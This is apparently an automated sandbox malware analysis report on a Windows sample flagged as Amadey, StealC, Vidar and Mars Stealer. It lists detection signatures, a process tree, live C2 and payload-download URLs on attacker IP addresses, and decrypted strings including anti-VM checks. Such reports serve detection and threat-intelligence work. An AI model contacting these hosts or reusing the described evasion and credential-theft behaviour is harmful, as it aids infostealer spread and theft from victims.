Edit tour

Windows Analysis Report
Wf9qnVcbi8.exe

Overview

General Information

Sample name:	Wf9qnVcbi8.exe renamed because original name is a hash value
Original sample name:	58972b34ce77f8d7bbaa3f5b5344db20.exe
Analysis ID:	1465786
MD5:	58972b34ce77f8d7bbaa3f5b5344db20
SHA1:	a3dc18dbe5abb0fffe62427366ff5f52e16a28a7
SHA256:	048802231eccee2a6db341d1a4e92b2b1671eb287da215ad35fcf2bad70fa700
Tags:	32exetrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Wf9qnVcbi8.exe (PID: 1864 cmdline: "C:\Users\user\Desktop\Wf9qnVcbi8.exe" MD5: 58972B34CE77F8D7BBAA3F5B5344DB20)

cmd.exe (PID: 5580 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IDGHDGIDAK.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe" MD5: 742979A5B57DC70750A54561B3E2DAE9)

explorti.exe (PID: 1716 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 742979A5B57DC70750A54561B3E2DAE9)

cmd.exe (PID: 7124 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFHDHIJDGC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 2944 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 742979A5B57DC70750A54561B3E2DAE9)

explorti.exe (PID: 7436 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 742979A5B57DC70750A54561B3E2DAE9)

528307a0ac.exe (PID: 7620 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe" MD5: 58972B34CE77F8D7BBAA3F5B5344DB20)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.2243049461.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2646045722.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2198644151.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.3235698523.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2198516833.0000000001655000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2234772240.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2275486715.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2239583360.0000000000AA1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2283301869.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: Wf9qnVcbi8.exe PID: 1864	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Wf9qnVcbi8.exe PID: 1864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Wf9qnVcbi8.exe PID: 1864	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 528307a0ac.exe PID: 7620	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.IDGHDGIDAK.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.explorti.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.explorti.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.Wf9qnVcbi8.exe.5d0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Wf9qnVcbi8.exe.5d0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
13.2.528307a0ac.exe.550000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.528307a0ac.exe.550000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 3 entries

Snort Signatures

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	07/02/24-04:11:57.568635
SID:	2051828
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-04:11:56.714248
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-04:11:57.569767
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	07/02/24-04:11:57.749789
SID:	2051831
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	07/02/24-04:11:57.389201
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Wf9qnVcbi8.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpf	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dllnH	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe%	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe;	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpUd	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php/	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php.	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpGd	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exephprefoxox	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exera	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll-f	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeVs-=	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpr	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exepData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllrf	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll#ab=	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/wd	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpZ	Avira URL Cloud: Label: malware
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:HK	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpa	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpDTo	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpp	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/c9	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 13.2.528307a0ac.exe.550000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: Wf9qnVcbi8.exe.1864.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.7436.12.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.82/Hun4Ko/index.phpP	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://85.28.47.4/	Virustotal: Detection: 17%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php2	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpV	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php.	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Virustotal: Detection: 22%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php:	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/	Virustotal: Detection: 23%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 23%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: Wf9qnVcbi8.exe

Virustotal: Detection: 45%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Wf9qnVcbi8.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetProcAddress
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: LoadLibraryA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: lstrcatA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: OpenEventA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CreateEventA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CloseHandle
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: Sleep
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: VirtualFree
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetSystemInfo
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: VirtualAlloc
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: HeapAlloc
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetComputerNameA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: lstrcpyA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetProcessHeap
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetCurrentProcess
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: lstrlenA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: ExitProcess
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetSystemTime
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: advapi32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: gdi32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: user32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: crypt32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: ntdll.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetUserNameA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CreateDCA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetDeviceCaps
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: ReleaseDC
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: sscanf
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: VMwareVMware
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: HAL9TH
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: JohnDoe
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: DISPLAY
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: http://85.28.47.4
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: jony
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetFileAttributesA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GlobalLock
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: HeapFree
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetFileSize
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GlobalSize
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: IsWow64Process
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: Process32Next
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetLocalTime
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: FreeLibrary
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetVolumeInformationA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: Process32First
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetLocaleInfoA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetModuleFileNameA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: DeleteFileA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: FindNextFileA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: LocalFree
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: FindClose
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: LocalAlloc
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetFileSizeEx
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: ReadFile
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: SetFilePointer
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: WriteFile
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CreateFileA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: FindFirstFileA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CopyFileA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: VirtualProtect
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetLastError
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: lstrcpynA
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: MultiByteToWideChar
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GlobalFree
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: WideCharToMultiByte
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GlobalAlloc
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: OpenProcess
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: TerminateProcess
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: GetCurrentProcessId
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: gdiplus.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: ole32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: bcrypt.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: wininet.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: shlwapi.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: shell32.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: psapi.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: rstrtmgr.dll
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: SelectObject
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: BitBlt
Source: 13.2.528307a0ac.exe.550000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

